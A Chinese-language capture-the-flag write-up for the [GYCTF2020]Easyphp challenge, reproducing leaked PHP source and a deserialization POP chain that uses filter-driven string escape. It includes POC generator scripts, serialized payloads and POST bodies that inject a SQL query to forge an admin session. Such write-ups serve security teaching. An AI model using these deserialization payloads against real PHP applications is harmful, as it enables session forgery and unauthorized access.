[GYCTF2020]Easyphp

前言

知识点:

www.zip源码泄露
PHP反序列化链POC
代码审计

WP:

进入环境,题目是easyphp我就感觉要审源码。。。试了一下常见的泄露,发现存在www.zip。把代码下载下来进行一下审计,发现update.php和lib.php可以利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
<?php
session_start();
function safe($parm){
$array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
return str_replace($array,'hacker',$parm);
}
class User
{
public $id;
public $age=null;
public $nickname=null;
public function login() {
if(isset($_POST['username'])&&isset($_POST['password'])){
echo "ok";
$mysqli=new dbCtrl();
$this->id=$mysqli->login('select id,password from user where username=?');
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;
echo "你的ID是".$_SESSION['id'];
echo "你好!".$_SESSION['token'];
echo "<script>window.location.href='./update.php'</script>";
return $this->id;
}
}
}
public function update(){
$Info=unserialize($this->getNewinfo());
//print_r($Info);
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
public function getNewInfo(){
$age=$_POST['age'];
$nickname=$_POST['nickname'];
return safe(serialize(new Info($age,$nickname)));
}
public function __destruct(){
return file_get_contents($this->nickname);//危
}
public function __toString()
{
$this->nickname->update($this->age);
return "0-0";
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct($age,$nickname){
$this->age=$age;
$this->nickname=$nickname;
}
public function __call($name,$argument){
echo $this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;
public function __construct($newInfo,$sql){
$newInfo=unserialize($newInfo);
$upDate=new dbCtrl();
}
public function __destruct()
{
//var_dump($this->sql);
echo $this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;
public function __construct()
{
$this->name=$_POST['username'];
$this->password=$_POST['password'];
$this->token=$_SESSION['token'];
}
public function login($sql)
{
$this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
if ($this->mysqli->connect_error) {
die("连接失败,错误:" . $this->mysqli->connect_error);
}
$result=$this->mysqli->prepare($sql);
$result->bind_param('s', $this->name);
$result->execute();
$result->bind_result($idResult, $passwordResult);
$result->fetch();
$result->close();
if ($this->token=='admin') {
return $idResult;
}
if (!$idResult) {
echo('用户不存在!');
return false;
}
if (md5($this->password)!==$passwordResult) {
echo('密码错误!');
return false;
}
$_SESSION['token']=$this->name;
return $idResult;
}
public function update($sql)
{
//还没来得及写
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
update.php
<?php
require_once('lib.php');
echo '<html>

<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

?>

update.php那里只是输出你没登录,接下来的代码还会执行。update()方法中会进行反序列化。

update.php那里只是输出你没登录,接下来的代码还会执行。update()方法中会进行反序列化。

简单的理一下POC的思路。本以为是利用User类的__construct方法来读flag.php,但是发现safe()过滤了flag和\,因此会被过滤,无法读取。
但是UpdateHelper类中也有一个__destruct()方法,会echo。

正好User类存在__toString()方法:

再利用$this->nickname->update()去触发Info类的__call():

这样就可以调用一个login方法。但是怎么得flag?
lib.php中有2个login方法,User类得login方法可以让$_SESSION[‘login’]=1,但是必须返回了id:

跟进一下第16行得login方法,看一下逻辑:

想要正常返回$idResult,要么$this->token==’admin’,要么就是查对了用户名和密码才可以。

这时候便很自然得可以想到思路了,因为反序列化得时候除了User类中login的这里不可控,其他基本都是可控的。:

也就是说,要分2次。第一次反序列化最终调用的是dbCtrl类的login,因为这里的sql语句和dbCtrl都可控,因此可以成功的$_SESSION[‘token’]=$this->name;。控一下name,让它是admin。

(更正,其实并不需要第二次反序列化,直接第一次反序列化设了session后,直接随便登录一下,用户名是admin即可,就可以触发user类的login方法了,不需要这里再反序列化构造来触发User类的login方法,我实际上也是思路太局限了。)

第二次反序列化最终调用User类的login方法。因为这里:

所以这时候$this->token=’admin’,即这里满足,可以成功查到id:

这样可以$_SESSION[‘login’]=1;

得到flag:

接下来就要想办法构造POC了,先是第一次反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct()
{
$this->age = "1";
$this->nickname = "2";
$this->CtrlCase=new dbCtrl();
//$this->CtrlCase=new User();
}
}
class User
{
public $id="1";
public $age;
public $nickname;
public function __construct()
{
$this->age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname=new Info();
//$this->nickname->CtrlCase=new User();
}
}
Class UpdateHelper{
public $sql;
}

class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name="admin";
public $password="1";
public $mysqli;
public $token;
public $feng;
public function __construct()
{
$this->feng=new UpdateHelper();
//$this->token="admin";
}
}
$a=new Info();
//$a->CtrlCase=new dbCtrl();
$a->CtrlCase->feng->sql=new User();
//$a->CtrlCase->feng->sql->nickname->CtrlCase=new User();
//var_dump($a->CtrlCase->feng->sql->nickname);
//var_dump($a);
echo serialize($a);

需要注意之所以new UpdateHelper()没有写在Info类中,而是写在$this->CtrlCase中,是因为这里:

public function update(){
    $Info=unserialize($this->getNewinfo());
    //print_r($Info);
    $age=$Info->age;
    $nickname=$Info->nickname;
    $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
    //这个功能还没有写完 先占坑
}
如果$this->age或者$this->nickname设成UpdateHelper的话,会因为把类对象当成字符产而报错。
产生的payload是这样:
1
O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}

通过反序列化字符逃逸,得到这样:

1
O:4:"Info":3:{s:3:"age";s:901:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}";s:8:"nickname";N;s:8:"CtrlCase";N;}

post传参:

1
2
age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}
第二次反序列化就同理了:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __construct()
{
$this->age = "1";
$this->nickname = "2";
//$this->CtrlCase=new dbCtrl();
//$this->CtrlCase=new User();
}
}
class User
{
public $id="1";
public $age;
public $nickname;
public function __construct()
{
$this->age='select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
$this->nickname=new Info();
//$this->nickname->CtrlCase=new User();
}
}
Class UpdateHelper{
public $sql;
}

class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name="admin";
public $password="1";
public $mysqli;
public $token;
public $feng;
public function __construct()
{
$this->feng=new UpdateHelper();
//$this->token="admin";
}
}
$a=new Info();
$a->CtrlCase=new dbCtrl();
$a->CtrlCase->feng->sql=new User();
$a->CtrlCase->feng->sql->nickname->CtrlCase=new User();
//var_dump($a->CtrlCase->feng->sql->nickname);
//var_dump($a);
echo serialize($a);


1
age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionunionunionunionunionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";N;}}}}}}}&username=admin&password=1

最终成功得到flag:

最终成功得到flag:

参考链接:[GYCTF2020]Easyphp-CSDN博客